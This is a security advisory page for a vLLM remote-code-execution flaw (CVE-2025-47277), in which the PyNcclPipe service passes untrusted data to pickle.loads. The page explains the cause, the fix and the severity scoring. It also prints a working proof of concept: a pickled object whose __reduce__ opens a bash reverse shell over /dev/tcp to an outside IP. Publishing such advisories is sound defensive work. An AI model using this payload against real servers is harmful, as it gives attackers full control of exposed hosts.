Advisory details:
pypa / vllm/PYSEC-2026-567
| Advisory ID | pypa/vllm/PYSEC-2026-567 |
| Aliases |
CVE-2025-47277
GHSA-hjq4-87xh-g4fv PYSEC-2026-567 |
| Summary | vLLM Allows Remote Code Execution via PyNcclPipe Communication Service ### Impacted Environments This issue ONLY impacts environments using the `PyNcclPipe` KV cache transfer integration with the V0 engine. No other configurations are affected. ### Summary vLLM supports the use of the `PyNcclPipe` class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the `PyNcclCommunicator` class, while CPU-side control message passing is handled via the `send_obj` and `recv_obj` methods on the CPU side. A remote code execution vulnerability exists in the `PyNcclPipe` service. Attackers can exploit this by sending malicious serialized data to gain server control privileges. The intention was that this interface should only be exposed to a private network using the IP address specified by the `--kv-ip` CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html Unfortunately, the default behavior from PyTorch is that the `TCPStore` interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the `TCPStore` instance to bind its socket to a specified private interface. This issue was reported privately to PyTorch and they determined that this behavior was intentional. ### Details The `PyNcclPipe` implementation contains a critical security flaw where it directly processes client-provided data using `pickle.loads` , creating an unsafe deserialization vulnerability that can lead to Remote Code Execution. 1. Deploy a `PyNcclPipe` service configured to listen on port `18888` when launched: ```python from vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe import PyNcclPipe from vllm.config import KVTransferConfig config=KVTransferConfig( kv_ip="0.0.0.0", kv_port=18888, kv_rank=0, kv_parallel_size=1, kv_buffer_size=1024, kv_buffer_device="cpu" ) p=PyNcclPipe(config=config,local_rank=0) p.recv_tensor() # Receive data ``` 2. The attacker crafts malicious packets and sends them to the `PyNcclPipe` service: ```python from vllm.distributed.utils import StatelessProcessGroup class Evil: def __reduce__(self): import os cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"' return (os.system,(cmd,)) client = StatelessProcessGroup.create( host='172.17.0.1', port=18888, rank=1, world_size=2, ) client.send_obj(obj=Evil(),dst=0) ``` The call stack triggering RCE is as follows: ``` vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_impl -> vllm.distributed.kv_transfer.kv_pipe.pynccl_pipe.PyNcclPipe._recv_metadata -> vllm.distributed.utils.StatelessProcessGroup.recv_obj -> pickle.loads ``` Getshell as follows:  ### Reporters This issue was reported independently by three different parties: * @kikayli (Zhuque Lab, Tencent) * @omjeki * Russell Bryant (@russellb) ### Fix * https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the `TCPStore` socket to the private interface as configured. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 8.8 |
| Risk | 4.4 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| There are no known CWE. |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 9.8 | https://github.com/pypa/advisory-database/blob/main/vulns/vllm/PYSEC-2026-567.yaml |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:N/A:Y/T:T/P:M/B:A/M:M/D:T/2025-05-20T17:52:22Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2025/47xxx/CVE-2025-47277.json
Source Advisory: vulnrichment/CVE-2025-47277
[{'Exploitation': 'none'},
{'Automatable': 'yes'},
{'Technical Impact': 'total'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]